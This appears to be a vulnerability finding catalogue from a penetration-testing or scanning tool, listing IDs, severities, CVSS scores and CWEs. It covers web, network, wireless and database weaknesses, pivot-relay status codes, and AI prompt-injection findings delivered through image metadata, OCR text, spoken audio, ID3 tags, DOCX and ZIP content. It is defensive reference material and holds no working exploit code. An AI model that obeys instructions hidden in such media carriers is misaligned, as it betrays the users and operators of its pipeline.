The AI pipeline followed an injected instruction embedded in a PNG image's tEXt/iTXt metadata chunks (Comment, Descripti...
7.5 CWE-74
PI-013 HIGH AI Prompt Injection — {category} via {format}_text_overlay_ocr
The AI pipeline followed an injected instruction rendered as visible text in an image. The text was extracted via OCR (o...
7.5 CWE-74
PI-014 CRITICAL AI Prompt Injection — {category} via wav_spoken_audio_content
The AI pipeline followed an injected instruction delivered as synthesised speech in a WAV audio file. The speech-to-text...
9.1 CWE-74
PI-015 HIGH AI Prompt Injection — {category} via {format}_id3_tags
The AI pipeline followed an injected instruction embedded in audio file metadata (ID3 tags: Title, Artist, Album, Commen...
7.5 CWE-74
PI-016 CRITICAL AI Prompt Injection — {category} via docx_body_text_extraction
The AI pipeline followed an injected instruction placed in the body text of a DOCX (Word) document. The document XML bod...
9.1 CWE-74
PI-017 HIGH AI Prompt Injection — {category} via docx_comment_text_extraction
The AI pipeline followed an injected instruction placed in a DOCX document's comment annotations. Document comments are ...
7.5 CWE-74
PI-018 HIGH AI Prompt Injection — {category} via zip_member_text_injection
The AI pipeline followed an injected instruction placed in text files within a ZIP archive (document.txt, data.csv, note...
7.5 CWE-74
PHX-001 CRITICAL SQL Injection (Error-Based) 9.8 CWE-20 CWE-89 CWE-943
PHX-002 HIGH Reflected Cross-Site Scripting (XSS) 7.4 CWE-79 CWE-116
PHX-003 HIGH XML External Entity Injection (XXE) 8.1 CWE-611 CWE-827
PHX-004 CRITICAL Server-Side Template Injection (SSTI) 9.8 CWE-94
PHX-005 HIGH LDAP Injection 7.5 CWE-90
PHX-006 CRITICAL OS Command Injection 9.8 CWE-20 CWE-77 CWE-78
PHX-007 HIGH NoSQL Injection 8.1 CWE-943
PHX-008 HIGH Broken Authentication – No Account Lockout 7.5 CWE-307
PHX-009 HIGH Session Fixation 7.3 CWE-384
PHX-010 CRITICAL JWT None Algorithm Accepted 9.1 CWE-347
PHX-011 HIGH OAuth Misconfiguration – Open Redirect in Redirect URI 7.4 CWE-20 CWE-601
PHX-012 HIGH Insecure Direct Object Reference (IDOR) 8.1 CWE-639
PHX-013 MEDIUM Weak Password Policy 5.9 CWE-521
PHX-014 HIGH Broken Object Level Authorization (BOLA) 8.1 CWE-639
PHX-015 HIGH Broken Function Level Authorization (BFLA) 8.8 CWE-285
PHX-016 HIGH Mass Assignment Vulnerability 8.1 CWE-915
PHX-017 CRITICAL Privilege Escalation – Vertical 9.0 CWE-269
PHX-018 HIGH Path Traversal 7.5 CWE-22 CWE-23 CWE-35
PHX-019 MEDIUM Weak TLS Configuration 5.9 CWE-326 CWE-327
PHX-020 MEDIUM SSL Certificate Expired or Self-Signed 5.4 CWE-295
PHX-021 MEDIUM Weak Cipher Suite Enabled 5.9 CWE-326 CWE-327
PHX-022 HIGH Cleartext Transmission of Sensitive Data 7.5 CWE-319
PHX-023 HIGH Insecure Password Hashing (MD5/SHA1) 7.5 CWE-759 CWE-916
PHX-024 CRITICAL Default Credentials in Use 9.8 CWE-1392
PHX-025 HIGH Debug Endpoint Exposed 7.5 CWE-200 CWE-215
PHX-026 MEDIUM Verbose Error Messages Exposing Internals 5.3 CWE-209
PHX-027 HIGH CORS Misconfiguration – Wildcard Origin Allowed 7.4 CWE-942
PHX-028 MEDIUM Missing HTTP Security Headers 5.4 CWE-693
PHX-029 MEDIUM Open Port – Unnecessary Service Exposed 5.3 CWE-749
PHX-030 HIGH SMB Signing Disabled 7.5 CWE-345
PHX-031 CRITICAL EternalBlue (MS17-010) Vulnerability 9.8 CWE-119
PHX-032 HIGH RDP Exposed to Internet 8.1 CWE-749
PHX-033 MEDIUM SSH Weak Configuration 5.9 CWE-326 CWE-327 CWE-732
PHX-034 MEDIUM DNS Zone Transfer Allowed 5.3 CWE-200
PHX-035 CRITICAL Exposed Credentials in Public GitHub Repository 9.8 CWE-259 CWE-312 CWE-798
PHX-036 INFO Subdomain Enumeration – Internal Subdomains Discovered — CWE-200
PHX-037 HIGH Data Leak – Sensitive Information in Public Paste Site 7.5 CWE-200
PHX-038 CRITICAL Hardcoded Credentials in Source Code 9.8 CWE-259 CWE-798
PHX-039 CRITICAL Insecure Deserialization 9.8 CWE-94 CWE-502
PHX-040 CRITICAL Unsafe File Upload – Arbitrary File Write 9.8 CWE-20 CWE-434
PHX-041 HIGH Vulnerable Third-Party Dependency 8.1 CWE-1395
PHX-042 MEDIUM API Rate Limiting Absent 5.3 CWE-770
PHX-043 LOW API Version Disclosure 3.7 CWE-200
PHX-044 MEDIUM GraphQL Introspection Enabled in Production 5.3 CWE-200
PHX-045 MEDIUM SOAP Action Spoofing 5.4 CWE-20
PHX-046 HIGH Parameter Tampering – Price Manipulation 8.1 CWE-472
PHX-047 HIGH Race Condition – Time-of-Check to Time-of-Use (TOCTOU) 7.5 CWE-362
PHX-048 MEDIUM Account Enumeration via Login Response 5.3 CWE-204
PHX-049 HIGH Cross-Site Request Forgery (CSRF) 7.1 CWE-346 CWE-352
PHX-050 CRITICAL Server-Side Request Forgery (SSRF) 9.3 CWE-441 CWE-918
PHX-051 MEDIUM Open Redirect 6.1 CWE-20 CWE-601
PHX-052 MEDIUM Clickjacking – Missing X-Frame-Options 4.3 CWE-1021
PHX-053 MEDIUM HTTP Method Tampering 5.4 CWE-650
PHX-054 MEDIUM Missing Logging and Monitoring 5.3 CWE-778
PHX-055 HIGH Broken Object Property Level Authorization (BOPLA) 7.5 CWE-213
PHX-056 CRITICAL JWT Weak Secret 9.1 CWE-347 CWE-521
PHX-057 HIGH Sensitive Data Exposed in URL Parameters 7.5 CWE-598
PHX-058 HIGH XPath Injection 7.5 CWE-91
PHX-059 HIGH Missing Multi-Factor Authentication 7.5 CWE-308
PHX-060 HIGH FTP Service Exposed 7.5 CWE-306 CWE-319
PHX-061 HIGH Telnet Service Enabled 7.5 CWE-319
PHX-062 HIGH SNMP Default Community String 7.5 CWE-1392
PHX-063 MEDIUM HTTP Methods: Unsafe Methods Enabled 3.5 CWE-16
PHX-064 MEDIUM Cookie Without Secure Flag 4.3 CWE-614
PHX-065 MEDIUM Cookie Without HttpOnly Flag 4.7 CWE-1004
PHX-066 HIGH Stored Cross-Site Scripting (XSS) 8.0 CWE-79 CWE-116
PHX-067 HIGH Insecure Direct Object Reference – File Access 7.5 CWE-22 CWE-23 CWE-35 +1
PHX-068 HIGH Business Logic Flaw – Negative Quantity Accepted 7.5 CWE-840
PHX-069 LOW Information Disclosure – Server Version Banner 3.7 CWE-200
PHX-070 CRITICAL Unprotected Admin Interface 9.1 CWE-284
PHX-071 CRITICAL BlueKeep – RDP Pre-Auth RCE (CVE-2019-0708) 9.8 CWE-416
PHX-072 CRITICAL Log4Shell (CVE-2021-44228) 10.0 CWE-917
PHX-073 CRITICAL Spring4Shell (CVE-2022-22965) 9.8 CWE-94
PHX-074 CRITICAL ProxyShell – Microsoft Exchange RCE 9.8 CWE-441 CWE-918
PHX-075 MEDIUM Credential Exposure via OSINT – LinkedIn Employee Data 5.3 CWE-200
PHX-076 CRITICAL Exposed .git Directory 9.1 CWE-538
PHX-077 HIGH Subdomain Takeover 8.1 CWE-350
PHX-078 CRITICAL Exposed Environment File (.env) 9.8 CWE-538
PHX-079 HIGH Broken Access Control – Horizontal Privilege Escalation 8.1 CWE-639
PHX-080 HIGH Unencrypted Database Connection 7.5 CWE-319
PHX-081 CRITICAL Database Accessible from Internet 9.8 CWE-749
PHX-082 CRITICAL SQL Injection – Stored Procedure Abuse 9.8 CWE-20 CWE-89 CWE-943
PHX-083 HIGH Insecure Cloud Storage – S3 Bucket Publicly Readable 7.5 CWE-732
PHX-084 HIGH Cloud Instance Metadata Service (IMDS) Accessible 8.1 CWE-441 CWE-918
PHX-085 MEDIUM Inadequate Input Validation – HTTP Header Injection 6.1 CWE-113
PHX-086 HIGH Weak Password Reset Mechanism 7.5 CWE-640
PHX-087 MEDIUM Insecure Token Storage – Tokens in localStorage 5.4 CWE-922
PHX-088 HIGH Nginx Off-By-Slash Path Traversal Misconfiguration 7.5 CWE-22 CWE-23 CWE-35
PHX-089 HIGH Prototype Pollution 7.3 CWE-1321
PHX-090 MEDIUM Weak Encryption – DES/3DES in Use 5.9 CWE-327
PHX-091 CRITICAL Heap Overflow / Buffer Overflow in Network Service 9.8 CWE-119 CWE-122
PHX-092 CRITICAL Zerologon (CVE-2020-1472) 10.0 CWE-330
PHX-093 CRITICAL PrintNightmare (CVE-2021-34527) 8.8 CWE-269
PHX-094 HIGH API Key Exposed in JavaScript Source 7.5 CWE-259 CWE-798
PHX-095 MEDIUM Improper Error Handling – Stack Trace in API Response 5.3 CWE-209
PHX-096 HIGH Unvalidated Webhook – Spoofable Source 7.5 CWE-345
PHX-097 MEDIUM HSTS Not Enabled 4.8 CWE-523
PHX-098 MEDIUM Reflected File Download (RFD) 6.1 CWE-79 CWE-116
PHX-099 HIGH Exposed Backup File 7.5 CWE-530
PHX-100 MEDIUM Unsafe Redirect After Authentication 6.1 CWE-20 CWE-601
PHX-101 HIGH Dependency Confusion Attack Surface 8.8 CWE-830
PHX-102 CRITICAL IDOR – Account Takeover via Password Change 9.8 CWE-639
PHX-103 HIGH Sensitive PII Exposed in API Response 7.5 CWE-200
PHX-104 HIGH Insufficient Transport Layer Security – API Over HTTP 7.5 CWE-319
PHX-105 MEDIUM Broken Authentication – No Credential Rotation Policy 5.9 CWE-257
PHX-106 INFO WordPress CMS Plugin Detected — CWE-200
PHX-107 LOW Cookie Security Attribute Misconfiguration 4.3 614 1004 1275
PHX-109 MEDIUM HTTP Methods: Unsafe Methods Enabled 5.4 16 693
PHX-110 LOW Missing DNS CAA Record 3.7 295 16
PHX-111 HIGH DNS Zone Transfer Permitted (AXFR) 7.5 200 16
PHX-112 MEDIUM CRLF Injection 6.1 93 113
PHX-113 MEDIUM CSV / Formula Injection 5.5 1236
PHX-114 MEDIUM Log Injection 5.3 117
PHX-115 MEDIUM JSONP Endpoint Cross-Origin Data Leakage 6.5 346 200
PHX-116 CRITICAL Remote Code Execution via Code Injection 9.8 94 78 95
PHX-117 INFO Password Reset Endpoint Exposed — 640
PHX-118 MEDIUM JWT Missing Expiry Claim 5.3 613 287
PHX-119 MEDIUM Timing Attack – Non-Constant-Time Authentication 5.9 208 697
PHX-120 HIGH Weak or Predictable Session Token 7.5 330 331 335
PHX-121 LOW Debug / Diagnostic Header Data Leakage 3.7 200 497
PHX-122 HIGH Exposed Metrics or Actuator Endpoint 7.5 200 284 497
PHX-123 MEDIUM Sensitive Information in Page Source 5.3 200 615
PHX-124 HIGH API Returns Same Data for All Users (Missing Object-Level Auth) 7.5 285 639
PHX-125 HIGH Unauthenticated Access to Protected Path 7.5 284 306 862
PHX-126 CRITICAL WordPress wp-config.php Exposed 9.8 200 312 540
PHX-127 MEDIUM WordPress Administrative / Sensitive Path Exposed 5.3 284 16 200
PHX-128 MEDIUM WordPress Information Disclosure 5.3 200 548
PHX-129 HIGH WordPress Backup/Export File Exposed 7.5 200 312 538
PHX-130 HIGH TimThumb Script Detected 7.5 434 94
PHX-131 INFO Recon: Application Form / Login Page Identified — 200
PHX-132 INFO Recon: CMS, Virtual Host, or Technology Identified — 200 497
PHX-133 INFO Recon: Interesting Endpoint or Path Discovered — 200 284
PHX-134 INFO Recon: JWT Token or Hidden Parameter Identified — 200 284
PHX-135 CRITICAL LLMNR/NBT-NS Poisoning — NTLM Hash Capture 8.8 CWE-294 CWE-311 CWE-306
PHX-136 HIGH NFS Unauthenticated Export 7.5 CWE-284 CWE-552
PHX-137 MEDIUM FTP Bounce Attack 5.3 CWE-441
PHX-138 MEDIUM HDMI Physical Attack Surface — CEC/DDC/EDID 5.7 CWE-306 CWE-284
PHX-139 CRITICAL CAN Bus Attack — Frame Injection and Replay 9.3 CWE-294 CWE-311
PHX-140 HIGH RFID Credential Capture and Replay 7.5 CWE-284 CWE-294
PHX-141 CRITICAL USB HID Keyboard Injection 9.3 CWE-284 CWE-693
PHX-142 CRITICAL Unauthenticated Serial Console Access 9.3 CWE-306 CWE-284
PHX-143 HIGH Industrial/OT Protocol Exposed on Network 8.6 CWE-311 CWE-306
PHX-144 CRITICAL Heartbleed — OpenSSL Memory Disclosure (CVE-2014-0160) 7.5 CWE-125
PHX-145 CRITICAL IPMI 2.0 Cipher Suite 0 — Authentication Bypass 9.8 CWE-287 CWE-306
PHX-146 CRITICAL SMBv1 Enabled — EternalBlue Attack Surface 9.8 CWE-693 CWE-119
PHX-147 CRITICAL libSSH Authentication Bypass (CVE-2018-10933) 9.8 CWE-287
PHX-148 HIGH SSHv1 Protocol Supported 7.4 CWE-327
PHX-149 MEDIUM SSH Weak Cryptographic Algorithms 5.9 CWE-326 CWE-327
PHX-150 HIGH RDP Without Network Level Authentication (NLA) 7.5 CWE-287 CWE-693
PHX-151 HIGH SMTP Open Mail Relay 7.5 CWE-284
PHX-152 MEDIUM SMTP User Enumeration via VRFY/EXPN 5.3 CWE-203
PHX-153 MEDIUM SIP User/Extension Enumeration 5.3 CWE-203
PHX-154 MEDIUM WebDAV Enabled on Web Server 6.5 CWE-434 CWE-284
PHX-155 MEDIUM JetDirect / PJL Printer Service Exposed 6.5 CWE-284 CWE-311
PHX-156 CRITICAL MySQL Unauthenticated Root Access 9.8 CWE-306 CWE-521
PHX-157 HIGH MySQL CVE-2012-2122 Authentication Bypass 5.1 CWE-287
PHX-158 CRITICAL VMware ESXi Management Interface Exposed 9.8 CWE-284 CWE-749
PHX-159 CRITICAL Oracle Database Vulnerability (ODAT) 9.8 CWE-287 CWE-521
PHX-160 CRITICAL MSSQL Vulnerability / Default Credentials 9.8 CWE-287 CWE-521
PHX-161 HIGH Active Directory Kerberoasting 7.5 CWE-522
PHX-162 HIGH AS-REP Roasting — Pre-Authentication Not Required 7.5 CWE-522
PHX-163 HIGH BloodHound — Active Directory Attack Path Discovered 8.8 CWE-732 CWE-269
PHX-164 HIGH LDAP Anonymous Bind / Domain User Enumeration 7.5 CWE-306 CWE-203
PHX-165 HIGH Domain Account No Password Required 7.5 CWE-521 CWE-306
PHX-166 HIGH SMB Null Session Permitted 7.5 CWE-306 CWE-284
PHX-167 HIGH WordPress Core / Theme / Plugin Vulnerability (WPScan) 8.8 CWE-89 CWE-79 CWE-434 +1
PHX-168 CRITICAL OS End-of-Life — No Vendor Security Support 9.8 CWE-1104
PHX-169 LOW SSL/TLS Certificate — Validity Period Concerns 3.7 CWE-295 CWE-326
PHX-170 MEDIUM SSL/TLS Session and Cipher Configuration Issues 5.9 CWE-326 CWE-327
PHX-171 INFO SSL Certificate Issuer Transparency — CWE-200
PHX-172 HIGH Public Exploit or Metasploit Module Available 8.1 CWE-1035
PHX-173 CRITICAL Brute-Force Valid Credentials Found 9.8 CWE-307 CWE-521
PHX-174 HIGH Privileged Domain Accounts Discovered 8.8 CWE-269 CWE-732
PHX-175 HIGH Unknown CVE / Vulners Match 8.1 CWE-1035
PHX-176 MEDIUM OSINT Email Address Exposure 5.3 CWE-200
PHX-177 INFO OSINT IP Address Mapping — CWE-200
PHX-178 MEDIUM Internal Server Path/Directory Structure Disclosed 5.3 CWE-548 CWE-200
PHX-179 LOW OSINT PII Exposure — Phone Number 3.7 CWE-359 CWE-200
PHX-180 HIGH OSINT PII Exposure — Social Security Number Pattern 7.5 CWE-359 CWE-200
PHX-181 MEDIUM MTA-STS / Email Transport Security Missing 5.9 CWE-346 CWE-940
PHX-182 MEDIUM DNSSEC Not Configured 5.9 CWE-345 CWE-924
PHX-183 MEDIUM Third-Party / Supply Chain Domain Risk 6.8 CWE-494
PHX-184 MEDIUM WSDL / SOAP Service Definition Exposed 5.3 CWE-284 CWE-200
PHX-185 CRITICAL WS-Security Authentication Bypass 9.8 CWE-287 CWE-290
PHX-186 HIGH WS-Addressing SSRF via ReplyTo/FaultTo 8.6 CWE-918
PHX-187 HIGH Serialization Marker in API Response (Deserialization Risk) 8.1 CWE-502
PHX-188 HIGH Unsafe Webhook URL Consumption (SSRF) 8.6 CWE-918
PHX-189 HIGH Deprecated Protocol — Cleartext Service in Use 7.5 CWE-311 CWE-319
PHX-190 LOW Service/Application Version Disclosure — Reconnaissance 5.3 CWE-200
PHX-191 INFO Recon: Web Application or API Identified — CWE-200
PHX-192 LOW Robots.txt Sensitive Path Disclosure 3.7 CWE-548
PHX-193 INFO Hostname / DNS Reverse Lookup Information — CWE-200
PHX-216 CRITICAL WPA/WPA2 Pre-Shared Key Capture and Offline Cracking 8.1 CWE-521 CWE-326
PHX-217 CRITICAL WPA-Enterprise (EAP/MSCHAPv2) Credentials Captured 8.8 CWE-326 CWE-522
PHX-218 HIGH WPA3 SAE Dragonblood Vulnerability 7.4 CWE-325 CWE-330
PHX-219 HIGH KRACK — WPA2 Key Reinstallation Attack 8.1 CWE-330 CWE-326
PHX-220 CRITICAL WEP Encryption — Broken Protocol in Use 9.8 CWE-326 CWE-327
PHX-221 CRITICAL Open Wireless Network — No Encryption 9.8 CWE-311
PHX-222 HIGH WPS Enabled — PIN/Brute-Force Attack Surface 7.5 CWE-304 CWE-326
PHX-223 HIGH WPA3 Transition Mode — Downgrade to WPA2 7.5 CWE-757
PHX-224 HIGH KNOB Attack — Bluetooth Encryption Key Entropy Reduction 9.3 CWE-326 CWE-757
PHX-225 HIGH BIAS Attack — Bluetooth Impersonation via Authentication Bypass 9.1 CWE-287 CWE-306
PHX-226 HIGH BLUFFS — Bluetooth Forward Secrecy Attack 8.2 CWE-326 CWE-325
PHX-227 HIGH Bluetooth Low Energy Weak Pairing — Crackable Temporary Key 8.0 CWE-326 CWE-330
PHX-228 HIGH BLE GATT Service — Unauthenticated Read/Write Access 6.8 CWE-306 CWE-284
PHX-229 CRITICAL Bluetooth Stack CVE — Remote Code Execution 8.5 CWE-119 CWE-122
PHX-230 MEDIUM Bluetooth SDP Service Discovery — Internal Service Disclosure 4.0 CWE-200
PHX-231 HIGH Bluetooth BR/EDR Cleartext Traffic — Passive Eavesdropping 6.5 CWE-311
PHX-232 MEDIUM BLE Static MAC Address — Device Tracking and Weak Pairing 5.9 CWE-200 CWE-304
PHX-233 HIGH BLE MITM Attack via Device Cloning (GATTacker) 7.8 CWE-287 CWE-300
PHX-234 HIGH Bluetooth Denial-of-Service and Physical Firmware Extraction 7.2 CWE-400 CWE-693
PHX-235 CRITICAL ZigBee Network Key Exposure — Intercept, Default, or Plaintext 9.1 CWE-321 CWE-311
PHX-236 HIGH ZigBee Replay Attack 7.4 CWE-294
PHX-237 HIGH ZigBee Cluster Library (ZCL) Command Injection 9.6 CWE-20 CWE-77
PHX-238 HIGH ZigBee Light Link (ZLL) Touchlink Attack — Device Theft and Factory Reset 9.0 CWE-306
PHX-239 HIGH ZigBee Network Denial-of-Service 6.5 CWE-400
PHX-240 CRITICAL ZigBee Hardcoded Credentials or Key in Firmware 9.3 CWE-321 CWE-798
PHX-241 HIGH ZigBee Open Join Window and ZDO Enumeration 7.1 CWE-306 CWE-284
PHX-242 CRITICAL ZigBee OTA Firmware Update Without Authentication 8.2 CWE-345 CWE-494
PHX-243 HIGH ZigBee Protocol Fuzzing Crash and ZLL Master Key Deployment 9.0 CWE-703 CWE-321
PHX-244 CRITICAL Ghost Peak Attack — UWB Distance Reduction Exploit 9.2 CWE-345
PHX-245 CRITICAL RTLS Management Console — Default Credentials 9.8 CWE-521 CWE-1188
PHX-246 CRITICAL MQTT Broker — Unauthenticated Access and Cleartext Credentials 8.6 CWE-306 CWE-311
PHX-247 HIGH RTLS Position Data Injection via MQTT 8.1 CWE-20 CWE-284
PHX-248 CRITICAL SQL Injection in RTLS Reporting Module 8.5 CWE-89
PHX-249 CRITICAL RTLS REST API — Unauthenticated Access 7.5 CWE-306
PHX-250 HIGH UWB Scrambled Timestamp Sequence (STS) Key Weakness 7.8 CWE-326 CWE-330
PHX-251 HIGH UWB Ranging Exchange — Cleartext Transmission 6.5 CWE-311
PHX-252 CRITICAL RTLS Anchor Firmware Update — Missing Signature Verification 7.9 CWE-345 CWE-494
PHX-253 HIGH RTLS Zone Boundary Bypass — Physical Access Control Defeat 7.6 CWE-284
PHX-254 HIGH UWB Anchor RF Flooding — Denial of Service 5.8 CWE-400
PHX-255 MEDIUM Cross-Site Scripting in RTLS Management Dashboard 6.1 CWE-79
PHX-256 HIGH Insecure Direct Object Reference in RTLS API 6.5 CWE-639
PHX-257 CRITICAL Physical UWB Frame Injection — Ranging Manipulation 7.4 CWE-20 CWE-345
PHX-258 CRITICAL Database Default Credentials 9.8 CWE-521 CWE-1392
PHX-259 CRITICAL MongoDB Unauthenticated Access 9.8 CWE-306 CWE-284
PHX-260 CRITICAL Redis Unauthenticated Access 9.8 CWE-306 CWE-284
PHX-261 HIGH Elasticsearch Unauthenticated Access 7.5 CWE-306 CWE-284
PHX-262 CRITICAL CouchDB Admin Party — No Authentication Required 9.8 CWE-306
PHX-263 HIGH InfluxDB Unauthenticated Access 7.5 CWE-306
PHX-264 HIGH Neo4j Unauthenticated Access 7.5 CWE-306
PHX-265 CRITICAL Cassandra No Authentication 9.1 CWE-306
PHX-266 HIGH Memcached Unauthenticated Access — Data Dump 7.5 CWE-306 CWE-284
PHX-267 HIGH Database User Excessive Privileges 7.2 CWE-269 CWE-250
PHX-268 MEDIUM Unencrypted Database Connection 5.9 CWE-319
PHX-269 MEDIUM Database Audit Logging Disabled 4.3 CWE-778
PHX-270 HIGH Outdated Database Version with Known CVEs 7.5 CWE-1104
PHX-271 HIGH Database Backup Files Accessible 7.5 CWE-552 CWE-284
PHX-272 HIGH Sensitive PII Data in Database Schema 6.5 CWE-312 CWE-359
PHX-273 CRITICAL MySQL FILE / UDF Remote Code Execution 9.8 CWE-94 CWE-78
PHX-274 CRITICAL PostgreSQL COPY TO PROGRAM Remote Code Execution 7.2 CWE-78
PHX-275 CRITICAL Redis SLAVEOF / CONFIG Unauthorized Command Execution 9.8 CWE-306 CWE-78
PHX-276 CRITICAL MSSQL xp_cmdshell Enabled — OS Command Execution 9.8 CWE-78
PHX-277 CRITICAL Oracle Database Default SYS/SYSTEM Credentials 9.8 CWE-521 CWE-1392
PHX-278 HIGH Database Accessible from Internet 7.5 CWE-284 CWE-749
PHX-279 HIGH SQL Injection via Stored Procedure or Trigger 8.8 CWE-89 CWE-250
PHX-280 MEDIUM Database Connection Pool Credentials in Error Response 5.3 CWE-209 CWE-312
PHX-281 HIGH Database User Password Hash Exposed 8.1 CWE-256 CWE-312
PHX-282 MEDIUM Anonymous Database Schema Browsing Permitted 5.3 CWE-284 CWE-200
PIVOT-001 INFO Relay Established Successfully
A pivot relay session was established between pivot-client and pivot-agent. Authentication, TLS handshake, and network p...
— —
PIVOT-002 INFO Authentication Failed — Invalid HMAC Token
The AUTH message sent by a connecting client contained an HMAC-SHA256 digest that did not match the expected value for t...
— —
PIVOT-003 INFO Replay Attack Detected — Nonce Already Used
An AUTH message was received with a nonce that has been used in a previous authentication attempt within the current ses...
— —
PIVOT-004 INFO TLS Handshake Failed
The TLS handshake between pivot-client and pivot-agent failed. Possible causes: certificate not trusted by the client's ...
— —
PIVOT-005 INFO Unauthorised Connection Attempt — IP Not in Allowlist
A connection was received from a source IP that is not present in security.allowed_peers. The connection was rejected af...
— —
PIVOT-006 INFO iptables Rule Applied Successfully
iptables FORWARD and MASQUERADE rules were successfully installed on the relay device for a network profile. IP forwardi...
— —
PIVOT-007 INFO iptables Rule Cleanup Completed
All iptables rules installed for a relay session were removed successfully. ip_forward was reset to its pre-session valu...
— —
PIVOT-008 INFO Relay Chain Established
A multi-hop relay chain was successfully established. The current agent spawned an internal chain_connector (pivot-clien...
— —
PIVOT-009 INFO Connection to Upstream Relay Failed
A chained relay attempted to connect to its configured upstream relay (pivot-agent at upstream.host) but failed. The cha...
— —
PIVOT-010 INFO Certificate Validation Failed — Agent Certificate Not Trusted
The pivot-client rejected the agent's TLS certificate because it could not be validated against the configured CA bundle...
— —
PIVOT-011 INFO mTLS Client Certificate Required
The agent is configured with require_client_cert: true (mutual TLS). Clients must present a valid certificate signed by ...
— —
PIVOT-012 INFO HMAC Verification Failed — Token Mismatch
The HMAC-SHA256 digest computed from the client's nonce and the stored shared secret did not match the digest provided i...
— —
PIVOT-013 INFO iptables Rule Application Failed
The agent could not install required iptables FORWARD or MASQUERADE rules. This prevents traffic forwarding to the targe...
— —
PIVOT-014 INFO Route Installation Failed on Scanner
pivot-client failed to install the OS route for the target CIDR on the scanner machine. The scanner cannot reach the tar...
— —
PIVOT-015 INFO Session Expired — Heartbeat Timeout
The relay session was closed because no HEARTBEAT message was received from the client within the configured heartbeat_t...
— —
PIVOT-016 INFO Maximum Concurrent Sessions Reached
A new connection was rejected because the agent has reached session.max_sessions. No additional relay clients can connec...
— —
PIVOT-017 INFO Protocol Message Too Large
A received message exceeded the maximum permitted payload size (1 MB). The connection was closed. This may indicate a ma...
— —
PIVOT-018 INFO Malformed Protocol Message Received
A message was received that could not be parsed as valid JSON, was missing the required 'type' field, or had a zero-leng...
— —
PIVOT-019 INFO sysctl ip_forward Activation Failed
The agent could not set net.ipv4.ip_forward=1 via sysctl. Without IP forwarding enabled, traffic cannot be relayed betwe...
— —
PIVOT-020 INFO Clean Session Deactivation Completed
The pivot-client sent a DEACTIVATE message and the agent responded with DEACTIVATE_RESPONSE. iptables rules, kernel rout...
— —
SS3-001 INFO Live Host Discovered
A host responded to ICMP ping or TCP probe during phase 1 host discovery. The host is alive and will be included in subs...
— —
SS3-002 INFO Open Port Discovered
An open TCP/UDP port was detected on a live host. The service listening on the port will be probed for version informati...
— —
SS3-003 MEDIUM TLS 1.0 Enabled
The server accepts TLS 1.0 connections. TLS 1.0 is deprecated due to known weaknesses including BEAST, POODLE, and weak ...
3.4 —
SS3-004 MEDIUM TLS 1.1 Enabled
The server accepts TLS 1.1 connections. TLS 1.1 is deprecated and does not support modern authenticated cipher suites.
3.4 —
SS3-005 CRITICAL SSLv2 Enabled
The server accepts SSLv2 connections. SSLv2 is fundamentally broken and vulnerable to the DROWN attack (CVE-2016-0800), ...
5.9 —
SS3-006 HIGH SSLv3 Enabled
The server accepts SSLv3 connections. SSLv3 is vulnerable to the POODLE attack (CVE-2014-3566), which allows decryption ...
3.4 —
SS3-007 HIGH Weak Cipher Suite Enabled
The server supports cipher suites providing 64-bit or less symmetric encryption, export-grade key exchange, or null/anon...
7.5 CWE-326 CWE-327
SS3-008 MEDIUM Self-Signed TLS Certificate
The server presents a self-signed certificate not issued by a trusted certificate authority. Clients cannot verify the s...
5.9 —
SS3-009 HIGH Expired TLS Certificate
The server's TLS certificate has passed its expiry date. Expired certificates are rejected by modern clients with a hard...
5.3 —
SS3-010 CRITICAL TLS Heartbleed Vulnerability
The server is vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64 KB of server process memory per re...
7.5 —
SS3-011 HIGH SMB Signing Disabled
SMB packet signing is not required on this host. Without signing, relay attacks (NTLM relay) allow an attacker to authen...
7.4 CWE-345
SS3-012 CRITICAL SMB Share Accessible (No Authentication)
An SMB share is accessible without authentication (null session or guest access). Files and directories on the share are...
9.1 —
SS3-013 MEDIUM SMB Share Accessible (Authenticated)
An SMB share is accessible using provided credentials. The share may expose sensitive files, configuration data, or prov...
6.5 —
SS3-014 HIGH LLMNR/NBT-NS Response Captured (Responder)
Responder captured an LLMNR or NBT-NS broadcast and responded with a poisoned answer. The victim host sent an NTLM authe...
8.8 CWE-294 CWE-311 CWE-306
SS3-015 CRITICAL NTLMv1 Hash Captured
An NTLMv1 authentication hash was captured via Responder poisoning. NTLMv1 is trivially crackable in seconds using rainb...
8.1 CWE-294 CWE-311 CWE-306
SS3-016 HIGH NTLMv2 Hash Captured
An NTLMv2 authentication hash was captured via Responder poisoning. NTLMv2 hashes are crackable offline with GPU-acceler...
6.8 —
SS3-017 CRITICAL Default Credentials Accepted
A service accepted a known factory-default username and password combination. Default credentials are documented publicl...
9.8 —
SS3-018 CRITICAL SSH Brute-Force Credentials Valid
Hydra discovered valid SSH credentials by brute-forcing the login service. An attacker can authenticate interactively an...
9.8 CWE-307 CWE-521
SS3-019 HIGH FTP Anonymous Login Enabled
The FTP server permits anonymous login. Any user can authenticate without credentials and browse accessible files.
7.5 —
SS3-020 HIGH Nuclei: Known CVE Vulnerability Detected
Nuclei's CVE template library identified a known CVE in a service banner, web application, or network protocol response....
— —
SS3-021 HIGH Nuclei: Exposed Admin Panel
Nuclei detected an administrative interface (web admin panel, management console, or device configuration portal) expose...
7.5 —
SS3-022 CRITICAL Nuclei: Default Login Accepted
Nuclei's default-login template confirmed a vendor-default credential pair is accepted by a web application or managemen...
9.8 —
SS3-023 MEDIUM Nuclei: Misconfiguration Detected
Nuclei identified a security misconfiguration in a web application, server, or network service (e.g. debug endpoint enab...
5.3 —
SS3-024 MEDIUM HTTP Security Header Missing
One or more recommended HTTP security response headers are absent: Content-Security-Policy, Strict-Transport-Security (H...
4.3 —
SS3-025 LOW Information Disclosure: Web Server
The HTTP Server response header discloses the web server software and version (e.g. Apache/2.4.51 or nginx/1.23.0). This...
5.3 CWE-200
SS3-026 MEDIUM Directory Listing Enabled
The web server returns a directory listing when no index file is present. File paths, names, and modification timestamps...
5.3 —
SS3-027 CRITICAL SQL Injection Vulnerability
sqlmap detected a SQL injection vulnerability in a web application parameter. An attacker can extract, modify, or delete...
9.8 —
SS3-028 HIGH Cross-Site Scripting (XSS) Vulnerability
XSStrike or ZAP detected a reflected or stored XSS vulnerability. An attacker can inject scripts into pages viewed by ot...
6.1 —
SS3-029 HIGH SNMP Community String Exposed
The device accepts the default SNMP community string ('public' for read or 'private' for read/write). SNMP data exposes ...
7.5 —
SS3-030 HIGH LDAP Anonymous Bind Permitted
The LDAP server permits anonymous bind. Unauthenticated clients can query directory objects including user accounts, gro...
7.5 CWE-306 CWE-203
